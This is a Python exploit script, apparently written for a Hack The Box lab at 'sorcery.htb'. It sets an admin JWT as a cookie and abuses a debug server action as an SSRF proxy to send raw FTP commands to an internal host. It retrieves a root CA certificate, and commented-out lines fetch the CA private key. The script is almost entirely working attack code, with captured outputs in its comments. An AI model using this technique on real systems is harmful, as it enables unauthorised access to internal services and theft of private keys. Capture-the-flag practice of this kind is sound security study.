import requests
import json

# replace token with the actual token you want to use
token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzUyNDQxNTA1fQ.7LY9_vl_XTMdWoT3A9YEiRxxbYTCwqDyTxwOE-0zC3M'
base_url = 'https://sorcery.htb'

s = requests.Session()
s.cookies['token'] = token
s.verify = False

headers = {
    'Next-Action': '99cc053db6c8902cbccf05efda80ea0306624c56',
    'Content-Type': 'text/plain;charset=UTF-8'
}

#cmds = [b'USER anonymous', b'PASS anonymous', b'PWD']
# "/" is the current directory

#cmds = [b'USER anonymous', b'PASS anonymous', b'EPSV', b'LIST']
# drwxrwxrwx    2 ftp      ftp          4096 Oct 31  2024 pub

#cmds = [b'USER anonymous', b'PASS anonymous', b'EPSV', b'CWD pub', b'LIST']
# -rw-r--r--    1 ftp      ftp          1826 Oct 31  2024 RootCA.crt
# -rw-r--r--    1 ftp      ftp          3434 Oct 31  2024 RootCA.key

#cmds = [b'USER anonymous', b'PASS anonymous', b'EPSV', b'CWD pub', b'RETR RootCA.key']

cmds = [b'USER anonymous', b'PASS anonymous', b'EPSV', b'CWD pub', b'RETR RootCA.crt']

cmds = [(cmd + b'\r\n').hex() for cmd in cmds]
cmd_l = json.dumps(cmds)
data = f'["ftp", 21, {cmd_l}, true, true]'
res = s.post(f'{base_url}/dashboard/debug?host=ftp&port=21', data=data, headers=headers)
res = json.loads(res.text.split('1:')[1].rstrip())
lines = res['result']['data']
decoded_lines = [bytes.fromhex(line).rstrip().decode('utf-8') for line in lines]
for l in decoded_lines:
    print(l)

port = decoded_lines[2].split('|')[-2]
print(f'Port for data connection: {port}')

# Now we can connect to the data port
data = f'["ftp", {port}, [""], true, false]'
response = s.post(f'{base_url}/dashboard/debug?host=ftp&port=21', data=data, headers=headers)
res = json.loads(response.text.split('1:')[1].rstrip())
lines = res['result']['data']
if len(lines) == 1 and lines[0] == '$2':
    print(response.text)
else:
    decoded_lines = [bytes.fromhex(line).rstrip().decode('utf-8') for line in lines]
    for l in decoded_lines:
        print(l)